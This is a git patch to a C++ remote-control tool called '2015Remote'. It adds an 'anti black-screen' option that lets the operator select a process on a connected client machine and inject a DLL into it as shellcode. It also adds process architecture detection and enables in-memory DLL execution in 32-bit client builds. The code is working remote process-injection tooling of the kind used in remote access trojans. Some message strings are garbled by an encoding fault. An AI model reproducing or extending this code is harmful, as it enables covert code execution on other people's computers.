From bd5f5f05475be672b0edc8ff8e61deb61b78336c Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Wed, 19 Nov 2025 05:55:24 +0800 Subject: [PATCH] Feature: Support anti black-screen in process management --- client/KernelManager.cpp | 2 - client/ShellcodeInj.h | 64 +++++++++++++++++----------- client/SystemManager.cpp | 13 ++++-- common/commands.h | 3 +- server/2015Remote/2015Remote.rc | Bin 105314 -> 105466 bytes server/2015Remote/2015RemoteDlg.cpp | 60 +++++++++++++++++++++----- server/2015Remote/2015RemoteDlg.h | 1 + server/2015Remote/SystemDlg.cpp | 46 ++++++++++++++++++-- server/2015Remote/SystemDlg.h | 1 + server/2015Remote/resource.h | Bin 54816 -> 55004 bytes server/2015Remote/stdafx.h | 1 + 11 files changed, 143 insertions(+), 48 deletions(-) diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index c458a07..ab8e052 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -485,7 +485,6 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } case CMD_EXECUTE_DLL: { -#ifdef _WIN64 static std::map> m_MemDLL; const int sz = 1 + sizeof(DllExecuteInfo); if (ulLength < sz)break; @@ -525,7 +524,6 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL)); Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); } -#endif break; } diff --git a/client/ShellcodeInj.h b/client/ShellcodeInj.h index 150dca7..491494b 100644 --- a/client/ShellcodeInj.h +++ b/client/ShellcodeInj.h @@ -55,6 +55,44 @@ public: return m_buffer ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false; } + // Check if the process is 64bit. + static bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit) + { + is64Bit = FALSE; + BOOL bWow64 = FALSE; + typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*); + HMODULE hKernel = GetModuleHandleA("kernel32.dll"); + + LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ? + (LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr; + + if (fnIsWow64Process2) { + USHORT processMachine = 0, nativeMachine = 0; + if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) { + is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && + (nativeMachine == IMAGE_FILE_MACHINE_AMD64 || nativeMachine == IMAGE_FILE_MACHINE_ARM64); + return true; + } + } + else { + // Old system use IsWow64Process + if (IsWow64Process(hProcess, &bWow64)) { + if (bWow64) { + is64Bit = FALSE; // WOW64 → 一定是 32 位 + } + else { +#ifdef _WIN64 + is64Bit = TRUE; // 64 位程序不会运行在 32 位系统 → 目标一定是64位 +#else + is64Bit = FALSE; // 32 位程序无法判断目标是否64位 → 保守为false +#endif + } + return true; + } + } + return false; + } + private: BYTE* m_buffer = NULL; int m_length = 0; @@ -125,32 +163,6 @@ private: return pid; } - // Check if the process is 64bit. - bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit) - { - BOOL bWow64 = FALSE; - typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*); - HMODULE hKernel = GetModuleHandleA("kernel32.dll"); - - LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ? - (LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr; - - if (fnIsWow64Process2) { - USHORT processMachine = 0, nativeMachine = 0; - if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) { - is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64); - return true; - } - } else { - // Old system use IsWow64Process - if (IsWow64Process(hProcess, &bWow64)) { - is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64; - return true; - } - } - return false; - } - // Check if it's able to inject. HANDLE CheckProcess(DWORD pid) { diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 43be473..46bc769 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -13,6 +13,7 @@ #endif #include +#include "ShellcodeInj.h" #pragma comment(lib,"psapi.lib") @@ -91,11 +92,15 @@ LPBYTE CSystemManager::GetProcessList() if (dwReturn==0) { strcpy(szProcessFullPath,""); } - + BOOL is64Bit; + ShellcodeInj::IsProcess64Bit(hProcess, is64Bit); + const char* arch = is64Bit ? "x64" : "x86"; + char exeFile[300]; + sprintf(exeFile, "%s:%s", pe32.szExeFile, arch); //开始计算占用的缓冲区, 我们关心他的发送的数据结构 // 此进程占用数据大小 dwLength = sizeof(DWORD) + - lstrlen(pe32.szExeFile) + lstrlen(szProcessFullPath) + 2; + lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2; // 缓冲区太小,再重新分配下 if (LocalSize(szBuffer) < (dwOffset + dwLength)) szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), @@ -107,8 +112,8 @@ LPBYTE CSystemManager::GetProcessList() memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); dwOffset += sizeof(DWORD); - memcpy(szBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); - dwOffset += lstrlen(pe32.szExeFile) + 1; + memcpy(szBuffer + dwOffset, exeFile, lstrlen(exeFile) + 1); + dwOffset += lstrlen(exeFile) + 1; memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1); dwOffset += lstrlen(szProcessFullPath) + 1; diff --git a/common/commands.h b/common/commands.h index bafe8ea..78e3bf2 100644 --- a/common/commands.h +++ b/common/commands.h @@ -889,7 +889,8 @@ typedef struct DllExecuteInfo { char Name[32]; // DLL 名称 char Md5[33]; // DLL MD5 int Pid; // 被注入进程ID - char Reseverd[19]; + char Is32Bit; // 是否32位DLL + char Reseverd[18]; } DllExecuteInfo; #pragma pack(pop) diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 8dd3941f88df5caab95a60e99fc715c0f5c3bc31..bc40a8a9853d2a689bd86bf3835ef0c45c2a4d26 100644 GIT binary patch delta 80 zcmaE~jqTTVwuUW?|Ju`$Z9oejP?&p&2*ffu9A^jmI>Jo1hVeheWDo(%B}P7FQ_ ijttHW-avLRkPc#SWpJG=_*`=OJ2^(N?Q-snE+GIvGZ$n4 delta 22 ecmeyho$b*!wuUW?|JInDeCompressedBuffer.GetBuffer(1); - if (std::string(info->Name) == "TinyRun.dll") { + if (std::string(info->Name) == TINY_DLL_NAME) { auto tinyRun = ReadTinyRunDll(info->Pid); Buffer* buf = tinyRun->Data; ContextObject->Send2Client(buf->Buf(), tinyRun->Data->length()); @@ -2238,6 +2244,12 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length()); break; } + } + auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit }); + if (dll) { + Buffer* buf = dll->Data; + ContextObject->Send2Client(buf->Buf(), dll->Data->length()); + SAFE_DELETE(dll); } Sleep(20); break; @@ -3841,7 +3853,7 @@ context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) { EnterCriticalSection(&m_cs); for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { context* ContextObject = *i; - if (ContextObject->GetClientData(ONLINELIST_IP) == clientIP) { + if (ContextObject->GetClientData(ONLINELIST_IP) == clientIP || ContextObject->GetAdditionalData(RES_CLIENT_PUBIP) == clientIP) { LeaveCriticalSection(&m_cs); return ContextObject; } @@ -3860,10 +3872,36 @@ LRESULT CMy2015RemoteDlg::InjectShellcode(WPARAM wParam, LPARAM lParam){ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid){ auto ctx = FindHostByIP(ip); - if (ctx == NULL)return; + if (ctx == NULL) { + MessageBoxA(CString("娌℃湁鎵惧埌鍦ㄧ嚎涓绘満: ") + ip.c_str(), "鎻愮ず", MB_ICONINFORMATION); + return; + } auto tinyRun = ReadTinyRunDll(pid); Buffer* buf = tinyRun->Data; ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo)); SAFE_DELETE(tinyRun); } + +LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) { + char* ip = (char*)wParam; + std::string host(ip); + std::string arch = ip + 256; + int pid = lParam; + auto ctx = FindHostByIP(ip); + delete ip; + if (ctx == NULL) { + MessageBoxA(CString("娌℃湁鎵惧埌鍦ㄧ嚎涓绘満: ") + host.c_str(), "鎻愮ず", MB_ICONINFORMATION); + return S_FALSE; + } + bool is32Bit = arch == "x86"; + std::string path = PluginPath() + "\\" + (is32Bit ? "AntiBlackScreen_x86.dll" : "AntiBlackScreen_x64.dll"); + auto antiBlackScreen = ReadPluginDll(path, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, pid, is32Bit }); + if (antiBlackScreen) { + Buffer* buf = antiBlackScreen->Data; + ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo)); + SAFE_DELETE(antiBlackScreen); + }else + MessageBoxA(CString("娌℃湁鍙嶉粦灞忔彃浠: ") + path.c_str(), "鎻愮ず", MB_ICONINFORMATION); + return S_OK; +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index be53311..fd3d27e 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -300,6 +300,7 @@ public: afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam); afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam); LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all); afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam); diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 6221d81..7d62142 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -16,6 +16,7 @@ typedef struct ItemData { { return Data[index]; } + CString Arch; } ItemData; IMPLEMENT_DYNAMIC(CSystemDlg, CDialog) @@ -52,6 +53,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog) ON_COMMAND(ID_WLIST_MAX, &CSystemDlg::OnWlistMax) ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin) ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject) + ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen) END_MESSAGE_MAP() @@ -75,6 +77,7 @@ BOOL CSystemDlg::OnInitDialog() m_ControlList.InsertColumn(0, "映像名称", LVCFMT_LEFT, 180); m_ControlList.InsertColumn(1, "PID", LVCFMT_LEFT, 70); m_ControlList.InsertColumn(2, "程序路径", LVCFMT_LEFT, 320); + m_ControlList.InsertColumn(3, "架构", LVCFMT_LEFT, 70); ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中\0\0 } else if (m_bHow==TOKEN_WSLIST) { //窗口管理初始化列表 //初始化 窗口管理的列表 @@ -123,8 +126,8 @@ void CSystemDlg::ShowProcessList(void) { Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); char *szBuffer = tmp.c_str(); //xiaoxi[][][][][] - char *szExeFile; - char *szProcessFullPath; + const char *szExeFile; + const char *szProcessFullPath; DWORD dwOffset = 0; CString str; DeleteAllItems(); @@ -133,15 +136,17 @@ void CSystemDlg::ShowProcessList(void) for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) { LPDWORD PID = LPDWORD(szBuffer + dwOffset); //这里得到进程ID szExeFile = szBuffer + dwOffset + sizeof(DWORD); //进程名就是ID之后的啦 + auto arr = StringToVector(szExeFile, ':', 2); szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //完整名就是进程名之后的啦 //他的数据结构的构建很巧妙 - m_ControlList.InsertItem(i, szExeFile); //将得到的数据加入到列表当中 + m_ControlList.InsertItem(i, arr[0].c_str()); //将得到的数据加入到列表当中 str.Format("%5u", *PID); m_ControlList.SetItemText(i, 1, str); m_ControlList.SetItemText(i, 2, szProcessFullPath); + m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str()); // ItemData 为进程ID - auto data = new ItemData{ *PID, {szExeFile, str, szProcessFullPath} }; + auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath}, arr[1].c_str() }; m_ControlList.SetItemData(i, DWORD_PTR(data)); dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //跳过这个数据结构 进入下一个循环 @@ -484,3 +489,36 @@ void CSystemDlg::OnPlistInject() ASSERT(m_pParent); m_pParent->PostMessageA(WM_INJECT_SHELLCODE, (WPARAM)new std::string(m_ContextObject->PeerName), dwProcessID); } + + +void CSystemDlg::OnPlistAntiBlackScreen() +{ + CListCtrl* ListCtrl = NULL; + if (m_ControlList.IsWindowVisible()) + ListCtrl = &m_ControlList; + else + return; + + if (ListCtrl->GetSelectedCount() != 1) + ::MessageBox(m_hWnd, "只能同时向一个进程进行反黑屏操作!", "提示", MB_ICONINFORMATION); + + if (::MessageBox(m_hWnd, "确定要向目标进程进行反黑屏吗?\n请确保目标进程、DLL及被控端架构务必相同!", + "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) + return; + + DWORD dwOffset = 1, dwProcessID = 0; + POSITION Pos = ListCtrl->GetFirstSelectedItemPosition(); + CString arch; + if (Pos) { + int nItem = ListCtrl->GetNextSelectedItem(Pos); + auto data = (ItemData*)ListCtrl->GetItemData(nItem); + dwProcessID = data->ID; + arch = data->Arch; + dwOffset += sizeof(DWORD); + } + ASSERT(m_pParent); + char *arg = new char[300](); + memcpy(arg, m_ContextObject->PeerName.c_str(), m_ContextObject->PeerName.length()); + memcpy(arg + 256, arch, arch.GetLength()); + m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID); +} diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h index 9873993..cccb75f 100644 --- a/server/2015Remote/SystemDlg.h +++ b/server/2015Remote/SystemDlg.h @@ -47,4 +47,5 @@ public: afx_msg void OnWlistMin(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnPlistInject(); + afx_msg void OnPlistAntiBlackScreen(); }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index caecda25c45a439365fbe5ca6499c90edfcdec99..9df5ea236e090f9b74752155b1705c8473e0560b 100644 GIT binary patch delta 88 zcmZ3mhWXA~<_&u;Pd=3{GFjxZ*kmOIwaEdOIVQVw$;byV_%L`f1T%y%#4|WD_yK88 rAj=6T>d4^C;63@GqV(i-mpK^CH*de(%Q*Rpf!O3fS0pAEU0nwNOcNg( delta 26 kcmV+#0OkMOtplK}1F*c)vv|~q0h2_E7L#7p6q72}vbc&3IRF3v diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 50039c4..3ec5c57 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -89,6 +89,7 @@ #define WM_SHARE_CLIENT WM_USER+3026 #define WM_ASSIGN_CLIENT WM_USER+3027 #define WM_ASSIGN_ALLCLIENT WM_USER+3028 +#define WM_ANTI_BLACKSCREEN WM_USER+3029 #ifdef _UNICODE #if defined _M_IX86